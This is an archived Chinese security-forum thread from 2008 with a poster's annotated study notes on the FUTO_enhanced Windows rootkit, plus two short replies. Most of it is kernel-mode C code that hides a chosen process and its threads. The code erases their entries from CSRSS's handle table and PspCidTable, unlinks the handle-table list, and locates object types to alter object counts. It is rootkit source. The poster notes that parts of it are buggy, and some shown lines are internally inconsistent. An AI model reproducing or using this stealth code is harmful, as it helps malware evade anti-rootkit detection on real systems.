邪恶八进制信息安全团队技术讨论组's Archiver

sudami 2008-2-19 00:20

[原创]FUTO_enhanced点滴笔记

文章作者:sudami [[email=xiao_rui_119@163.com]xiao_rui_119@163.com[/email]]
信息来源:邪恶八进制信息安全团队([url=http://www.eviloctal.com]www.eviloctal.com[/url])
文章备注:rootkit笔记.很古老的技术,见笑了

[b]FUTO_enhanced[/b]放在硬盘里快半年了没有去看过, 玩内核的大牛们在几年前就把这个古老的rootkit玩腻了,而俺作为后来的小菜今天才开始消化这些过时的知识(无奈啊,差距太大了:cry:  ).  

  网上关于这个rootkit的介绍很详细了,源码也是很值得俺学习. 于是就写点学习的东西供以后接触的同学一个参考. 老鸟们直接pass了~

[[b]前置知识[/b]]:
句柄表的详细结构和查询过程、WINDOWS的对象管理机制和结构、进程线程的结构和它们内部变量间的若干联系、IS等anti-rootkit的基本原理...

关于[b]PspCidTable[/b]已经有好多介绍,它也是很重要的一个节点.FUTO理所当然会抹掉里面相应的进程/线程对象信息了. 而CSRSS.exe中同样保留有一份完整的系统进程/线程表.所以要一并抹掉.
[可以参考WINDOWS INTERNALS的第8章,里面有进程创建和相关结构的详细介绍 (英文版)]

[b](1) 抹掉CSRSS.exe中指定进程的object[/b]

首先遍历EPROCESS链表找到CSRSS.exe,其偏移[b]+0x0c4[/b]处的[b]ObjectTable[/b]为[b]HANDLE_TABLE[/b]结构, 其第一项+0x00处便是我们熟悉的TableCode了. 就是要在这个句柄表中找到要抹掉的进程对象,为了兼容,FUTO分了2中情况:XP SP2/WIN2K3 和 WIN2K ,前者的句柄表是1~3层, 后者就是3层. 这里只看XP下的

[color=#0000d0]void[/color]
EraseHandle (
  PEPROCESS eproc,
  [color=#0000d0]PVOID[/color] tarHandle
  )
[color=#008000]/*++
sudami 注解 08/02/18

参数:
  eproc - 一般就是CSRSS.EXE的EPROCESS了,因为其他进程里面没有全部的信息
  tarHandle - 为要抹掉的进程EPROCESS或线程ETHREAD; handle在R3是PVOID类型
              到了底层,就是指向相应的结构对象的指针

返回:NULL

功能:
  在CSRSS.EXE中抹掉指定进程/线程的对象信息.作者定义的结构体TABLE_ENTRY
  没有给全,也比较的含糊,其实就是_HANDLE_TABLE_ENTRY结构的一部分 - -

  typedef struct _TABLE_ENTRY {
      DWORD object;            // +0x000 Object
          ACCESS_MASK security;    // +0x004 GrantedAccess
  } TABLE_ENTRY, *PTABLE_ENTRY, **PPTABLE_ENTRY, ***PPPTABLE_ENTRY;

  当然也可以不用它的这个结构体,不用3维数组.结合 0x800在第1和第2张表中遍历

--*/[/color]
{
        PTABLE_ENTRY   orig_tableEntry, p_tableEntry, *pp_tableEntry, **ppp_tableEntry;
        [color=#0000d0]int[/color] a, b, c;
        [color=#0000d0]int[/color] i_numHandles, i_hperPage;
        [color=#0000d0]int[/color] i_handle;

        orig_tableEntry = (PTABLE_ENTRY)*([color=#0000d0]PDWORD[/color]) (( *([color=#0000d0]PDWORD[/color]) \
                ( ([color=#0000d0]DWORD[/color])eproc + 0x0c4 ) ));
        i_numTables = (([color=#0000d0]DWORD[/color])orig_tableEntry & 3);

        [color=#0000d0]if[/color] (b_isXP2K3 == [color=#0000d0]TRUE[/color]) {
                i_hperPage = PAGE_SIZE/[color=#0000d0]sizeof[/color](TABLE_ENTRY);        
               
                [color=#0000d0]if[/color] (i_numTables == 0) { [color=#008000]// 0层表[/color]
                        [color=#008000]// 这个地方应该是0xfffffffc,去掉TableCode的低2位,不知道作者怎么写成这样了 =。=![/color]
                        p_tableEntry = (PTABLE_ENTRY)( ([color=#0000d0]DWORD[/color])orig_tableEntry & 0xfffffff8 );

                        [color=#0000d0]for[/color] (a = 0; a < i_hperPage; a++) {[color=#008000]//去掉低3位掩码标志 0x18为ObjectHeader的大小[/color]
                                [color=#0000d0]if[/color] (((p_tableEntry[a].object ^ 0x80000000) & 0xfffffff8) ==\
                                        (([color=#0000d0]DWORD[/color])tarHandle - 0x18)) { [color=#008000]// 填充0即可[/color]
                                       
                                        p_tableEntry[a].object = 0;
                                        p_tableEntry[a].security = 0;
                                }
                        }
                } [color=#0000d0]else[/color] [color=#0000d0]if[/color] (i_numTables == 1) { [color=#008000]// 1层表[/color]

                        pp_tableEntry = (PPTABLE_ENTRY)(([color=#0000d0]DWORD[/color])orig_tableEntry & 0xfffffffc);
                        [color=#0000d0]for[/color] (a = 0; a < i_hperPage; a++) {
                                [color=#0000d0]if[/color] (pp_tableEntry[a] == [color=#0000d0]NULL[/color])
                                        [color=#0000d0]break[/color];

                                [color=#0000d0]for[/color] (b = 0; b < i_hperPage; b++) { [color=#008000]// 2维数组了[/color]
                                        [color=#0000d0]if[/color] (((pp_tableEntry[a][b].[/b]object ^ 0x80000000) & 0xfffffff8) \
                                                == (([color=#0000d0]DWORD[/color])tarHandle - 0x18)) {
        
                                                pp_tableEntry[a].object = 0;
                                                pp_tableEntry[a].security = 0;
                                        }
                                }
                        }
                } [color=#0000d0]else[/color] [color=#0000d0]if[/color] (i_numTables == 2) { [color=#008000]// 2层表[/color]
                        
                        ppp_tableEntry = (PPPTABLE_ENTRY)(([color=#0000d0]DWORD[/color])orig_tableEntry & 0xfffffff8);
                        [color=#0000d0]for[/color] (a = 0; a < i_hperPage; a++) {
                                [color=#0000d0]if[/color] (ppp_tableEntry[a] == [color=#0000d0]NULL[/color])
                                        [color=#0000d0]break[/color];

                                [color=#0000d0]for[/color] (b = 0; b < i_hperPage; b++) {
                                        [color=#0000d0]if[/color] (ppp_tableEntry[a] == [color=#0000d0]NULL[/color])
                                                [color=#0000d0]break[/color];

                                        [color=#0000d0]for[/color] (c = 0; c < i_hperPage; c++) { [color=#008000]// 3维数组了[/color]
                                                [color=#0000d0]if[/color] (((ppp_tableEntry[a][c].object ^ 0x80000000) \
                                                        & 0xfffffff8) == (([color=#0000d0]DWORD[/color])tarHandle - 0x18)) {
                                                        
                                                        ppp_tableEntry[a][c].object = 0;
                                                        ppp_tableEntry[a][c].security = 0;
                                                }
                                        }
                                       
                                }
                        }
                }
        } [color=#0000d0]else[/color] [color=#0000d0]if[/color] (b_isXP2K3 == [color=#0000d0]FALSE[/color]) {
          [color=#008000]// WIN2K的略掉了...        [/color]
        }
}


[b](2) 抹PspCidTable中指定进程的object

[/b]和上面的差不多.只不过上面是指定进程(CSRSS.EXE)中的HANDLE_TABLE中的指定进程/线程对象. 而这个是直接给出了PspCidTable,更方便 ---> 调用自定义函数EraseObjectFromTable 略过

[b](3) 断2个链. 一个是 ActiveProcessLinks,一个是 要隐藏进程EPROCESS结构中的另一个链

[/b]nt!_HANDLE_TABLE
   +0x000 [color=blue]TableCode[/color]        : Uint4B
   +0x004 QuotaProcess     : Ptr32 _EPROCESS
   +0x008 UniqueProcessId  : Ptr32 Void
   +0x00c HandleTableLock  : [4] _EX_PUSH_LOCK
   +0x01c [color=blue]HandleTableList[/color] : _LIST_ENTRY
   +0x024 HandleContentionEvent : _EX_PUSH_LOCK
   +0x028 DebugInfo        : Ptr32 _HANDLE_TRACE_DEBUG_INFO
   +0x02c ExtraInfoPages   : Int4B
   +0x030 FirstFree        : Uint4B
   +0x034 LastFree         : Uint4B
   +0x038 NextHandleNeedingPool : Uint4B
   +0x03c HandleCount      : Int4B
   +0x040 Flags            : Uint4B
   +0x040 StrictFIFO       : Pos 0, 1 Bit


即[b]EPROCESS-->ObjectTable (+0x0c4)-->handleTableList[/b] ; 它要是不断,别人可以通过别的已知进程推出这个隐藏进程的EPROCESS,很危险[b]:sad:

[/b][color=#0000d0]void[/color]
UnHookHandleListEntry (
  PEPROCESS eproc
  )
[color=#008000]/*++
sudami 注解 08/02/18

参数:
  eproc - 为要抹掉的进程EPROCESS
     
返回:NULL

功能:
  摘除隐藏在EPROCESS-->ObjectTable-->handleTableList里的结点

--*/[/color]
{
        PLIST_ENTRY plist_hTable = [color=#0000d0]NULL[/color];
        plist_hTable = (PLIST_ENTRY)((*([color=#0000d0]PDWORD[/color])(([color=#0000d0]DWORD[/color]) eproc + HANDLETABLEOFFSET)) + 0x01c);


        [color=#008000]// 数据结构的知识:双向链表中的摘除结点. 注意 "*((DWORD *) XXXX)" 的意思是取XXXX[/color]
        [color=#008000]// 所指向地址处的内容,即取出保存有下个/上个结点的地址; 而"(DWORD)" 表明就是地址[/color]
        *(([color=#0000d0]DWORD[/color] *)plist_hTable->Blink)   = ([color=#0000d0]DWORD[/color]) plist_hTable->Flink;
        *(([color=#0000d0]DWORD[/color] *)plist_hTable->Flink+1) = ([color=#0000d0]DWORD[/color]) plist_hTable->Blink;
}


[b](4) 抹掉CSRSS.EXE中指定进程的所有线程对象.

[/b]哈哈,感觉和PHIDE2里面的嫁接新的线程切换表头有点儿像. 其实就是遍历要隐藏进程的所有线程,对每个线程都调用前面提到的 EraseHandle 来抹掉即可

[color=#0000d0]void[/color]
HideThreadsInTargetProcess (
  PEPROCESS eproc,
  PEPROCESS target_eproc
  )
[color=#008000]/*++
sudami 注解 08/02/18

参数:
  eproc - 为要抹掉的进程EPROCESS
  target_eproc - CSRSS.EXE
     
返回:NULL

功能:
  摘除CSRSS.EXE中指定进程的所有线程对象信息

--*/[/color]
{
        PETHREAD start, walk;
        [color=#0000d0]DWORD[/color]    check1, check2;

        [color=#0000d0]if[/color] (eproc == [color=#0000d0]NULL[/color])
                [color=#0000d0]return[/color];

        [color=#008000]// nt!_KPROCESS +0x050 ThreadListHead   : _LIST_ENTRY[/color]
        check1 = *([color=#0000d0]DWORD[/color] *) ( ([color=#0000d0]DWORD[/color])eproc + 0x50 );
        check2 = ( ([color=#0000d0]DWORD[/color])eproc + 0x50 );

        [color=#0000d0]if[/color] (check1 == check2) [color=#008000]// 若该进程只有一个主线程就不必了[/color]
                [color=#0000d0]return[/color];

        start = *(PETHREAD *) ( ([color=#0000d0]DWORD[/color])eproc + 0x50 );
        start = (PETHREAD) ( ([color=#0000d0]DWORD[/color])start - 0x50 );
        walk = start;
        [color=#0000d0]do[/color] {
                EraseHandle (target_eproc, walk); [color=#008000]// 抹掉each ethread[/color]

                [color=#008000]// nt!_KTHREAD +0x1b0 ThreadListEntry  : _LIST_ENTRY[/color]
                walk = *(PETHREAD *)(([color=#0000d0]DWORD[/color])walk + 0x1b0);
                walk = (PETHREAD)(([color=#0000d0]DWORD[/color])walk - 0x1b0);
        } [color=#0000d0]while[/color] (walk != start);
}


[b](5) 抹掉PspCidTable中的指定进程的所有线程对象
[/b]和上面一样,只是把EraseHandle换成EraseObjectFromTable

[b](6) 使进程对象这类型结构的计数减1

[/b]FUTO中给出了一个很好的函数来得到指定的对象类型. ObjectType 有27种, 模样都是L"\\ObjectTypes\\XXXX". 打开对象获得句柄,进而获得OBJECT_DIRECTORY的地址,对其中的37组OBJECT_DIRECTORY_ENTRY进行搜索,每一组都是相同hash值的一条链.遍历起来也很容易.最终找到指定类型的OBJECT_TYPE

[b]    ObOpenObjectByName     -->    ObReferenceObjectByHandle   [/b]
[b]    (传递[url=file://\\ObjectTypes]\\ObjectTypes[/url]得到handle)               (通过handle得到对象地址)

        --> ObQueryNameString, 然后比较name...

[/b]然后OBJECT_TYPE中的[color=blue]TotalNumberOfObjects[/color]自减即可[code]POBJECT_TYPE
FindObjectTypes (char *ac_tName)
{
    OBJECT_ATTRIBUTES ObjectAttributes;
    UNICODE_STRING ucName, ufName;
        ANSI_STRING afName;
    NTSTATUS ntStatus;
    HANDLE hDirectory = NULL;
    POBJECT_DIRECTORY pDirectoryObject = NULL;
    POBJECT_DIRECTORY_ENTRY DirectoryEntry;
        POBJECT_HEADER objHead;
    ULONG Bucket = 0;
        DWORD d_size;
        PUNICODE_STRING p_wcName;

        p_wcName = (PUNICODE_STRING) ExAllocatePool(PagedPool, \
                sizeof(UNICODE_STRING)+(sizeof(WCHAR)*1024));
        if (p_wcName == NULL)
                return NULL;

        p_wcName->Length = 0;
        p_wcName->MaximumLength = 1022;
        p_wcName->Buffer = (PWSTR)((DWORD)p_wcName + sizeof(UNICODE_STRING));

        RtlInitAnsiString(&afName, ac_tName);
        
        // open driver directory in the object directory
    RtlInitUnicodeString(&ucName,L"\\ObjectTypes");
    InitializeObjectAttributes(&ObjectAttributes,&ucName,OBJ_CASE_INSENSITIVE,NULL,NULL);
    ntStatus = ObOpenObjectByName(&ObjectAttributes,
                                                                  NULL,
                                                                  KernelMode,
                                                                  NULL,
                                                                  0x80000000,
                                                                  NULL,
                                                                  &hDirectory);
    if (!NT_SUCCESS (ntStatus))
        return NULL;

    // get pointer from handle
    ntStatus = ObReferenceObjectByHandle(hDirectory,
                                                 FILE_ANY_ACCESS,
                                                                                 NULL,
                                                                                 KernelMode,
                                                                                 &pDirectoryObject,
                                                                         NULL);
        ZwClose (hDirectory);
    if (!NT_SUCCESS (ntStatus))
                return NULL;
   
        ntStatus = RtlAnsiStringToUnicodeString(&ufName, &afName, TRUE);
    if (!NT_SUCCESS (ntStatus))
                return NULL;
        
    // walk the object directory
    for (Bucket = 0; Bucket < NUMBER_HASH_BUCKETS; Bucket++)
    {
        DirectoryEntry = pDirectoryObject->HashBuckets[Bucket];
                while (DirectoryEntry != NULL)
                {
                        ntStatus = ObQueryNameString(DirectoryEntry->Object,
                                                         (POBJECT_NAME_INFORMATION) p_wcName,
                                                                                 p_wcName->MaximumLength,
                                                                                 &d_size);
                        if (NT_SUCCESS (ntStatus))
                        {
                                if (RtlCompareUnicodeString(p_wcName, &ufName, TRUE)==0)
                                {
                                        if (pDirectoryObject)
                                                ObDereferenceObject(pDirectoryObject);
                                        RtlFreeUnicodeString(&ufName);
                                        ExFreePool(p_wcName);
                                        return (POBJECT_TYPE) DirectoryEntry->Object;
                                }
                        }
                        p_wcName->MaximumLength = 1022;
                        DirectoryEntry = DirectoryEntry->ChainLink;
                }
        }

    if (pDirectoryObject)
                ObDereferenceObject(pDirectoryObject);
        RtlFreeUnicodeString(&ufName);
        ExFreePool(p_wcName);
    return NULL;
}[/code]这只是FUTO中隐藏进程的部分,做的还是比较系统的. 现在看来科普很重要啊.虽然这些东西很简单,但要一个人去coding,还不是件容易事.有源码就要下功夫去汲取营养,有所收获:p:

里面还有个是抹掉[b]PsLoadedModuleList[/b]链中关于Driver 的信息.其他的就是什么设置[b]SID[/b],[b]ProcessToken[/b]之类的,有点儿烦琐.

然后R3部分负责发IRP到R0中,就是传递个进程ID,思路还是挺简单的. 呵呵,写了点儿很烂的东西,希望对没有学过这个古老的rootkit的同学有点儿帮助:loveliness:

[b]-------------------------------------------------------------------------
[/b]参考资料:
[b]  (1) [/b][url=http://blog.csdn.net/iiprogram/archive/2006/04/07/654884.aspx][b]JIURL玩玩Win2k 对象[/b][/url]
[b]  (2) [/b][url=http://dev.csdn.net/Develop/article/28/70543.shtm][b]Windows 2000的对象管理[/b][/url]
[b]  (3) [/b][url=http://www.phpfav.com/?p=83][b]Windows对象 (Object) 的组织[/b][/url]
[b]  ([/b]4) WRK1.2 Windbg

[[i] 本帖最后由 sudami 于 2008-2-19 12:29 编辑 [/i]]

vxk 2008-2-19 00:33

FUTO隐藏带有网络连接的进程,你试验过么?嘿嘿~~

试着隐藏一下吧~~很爽,很暴力哦~

sudami 2008-2-19 00:41

啊,可是从代码功能看,没有网络传输方面的痕迹啊
[attach]11000[/attach]

V大怎么喜欢玩起捉虫来了.俺还不会呢,威望啊:cry:

[[i] 本帖最后由 sudami 于 2008-2-19 00:44 编辑 [/i]]

vxk 2008-2-19 00:44

另外提升权限不需要那么复杂嘿嘿~

页: [1]
© 1999-2008 EvilOctal Security Team